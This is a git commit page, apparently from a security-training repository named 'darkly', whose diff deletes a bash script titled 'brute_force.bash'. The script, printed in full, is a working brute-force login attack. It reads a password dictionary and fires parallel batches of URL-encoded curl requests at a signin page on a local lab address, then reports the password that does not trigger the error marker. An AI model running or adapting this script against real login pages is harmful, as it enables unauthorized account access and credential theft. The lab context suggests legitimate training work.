diff options
| author | Thomas Vanbesien <tvanbesi@proton.me> | 2026-03-26 19:50:11 +0100 |
|---|---|---|
| committer | Thomas Vanbesien <tvanbesi@proton.me> | 2026-03-26 19:50:11 +0100 |
| commit | 0df2b018e730f32915012ee466db1953a8b84cd3 (patch) | |
| tree | 49d3688b2b3a1f72dbb08c851591eccf25a742b1 /Brute force password guessing/brute_force.bash | |
| parent | 7501efd7a8fd1dc4ba363e13f7cc33b491a8e5a4 (diff) | |
| download | darkly-0df2b018e730f32915012ee466db1953a8b84cd3.tar.gz darkly-0df2b018e730f32915012ee466db1953a8b84cd3.zip | |
Remove duplicate files
Diffstat (limited to 'Brute force password guessing/brute_force.bash')
| -rwxr-xr-x | Brute force password guessing/brute_force.bash | 45 |
1 files changed, 0 insertions, 45 deletions
diff --git a/Brute force password guessing/brute_force.bash b/Brute force password guessing/brute_force.bash deleted file mode 100755 index 8f77578..0000000 --- a/Brute force password guessing/brute_force.bash +++ /dev/null @@ -1,45 +0,0 @@ -#!/usr/bin/bash -set -o nounset -set -o errexit - -username="${1:?username argument missing}" -dict="${2:?password dictionary argument missing}" -mapfile -t passwords <"$dict" -OUT_FILE=$(mktemp) - -test_pass() { - username="$1" - password="$2" - # Password and username has to be urlencoded - curl --get \ - --silent \ - --data-urlencode username="${username}" \ - --data-urlencode password="${password}" \ - "http://10.0.2.15/?page=signin&Login=Login#" | - grep --quiet "WrongAnswer" -} - -BATCH_SIZE=100 -echo "Testing all passwords in \"$dict\" with username \"$username\" in batches of $BATCH_SIZE." -password_count=${#passwords[@]} -((password_count--)) -while ((password_count >= 0)); do - tmp=$BATCH_SIZE - while ((tmp-- > 0 && password_count >= 0)); do - { - pass="${passwords[password_count]}" - if ! test_pass "$username" "$pass"; then - echo "$pass" >"$OUT_FILE" - fi - } & - ((password_count--)) - done - echo "Waiting for batch to finish…" - wait - echo "$((password_count + 1)) passwords left" - if [ -s "$OUT_FILE" ]; then - echo "Password found: $(cat "$OUT_FILE")" - exit - fi -done -echo "Password not found :(" |
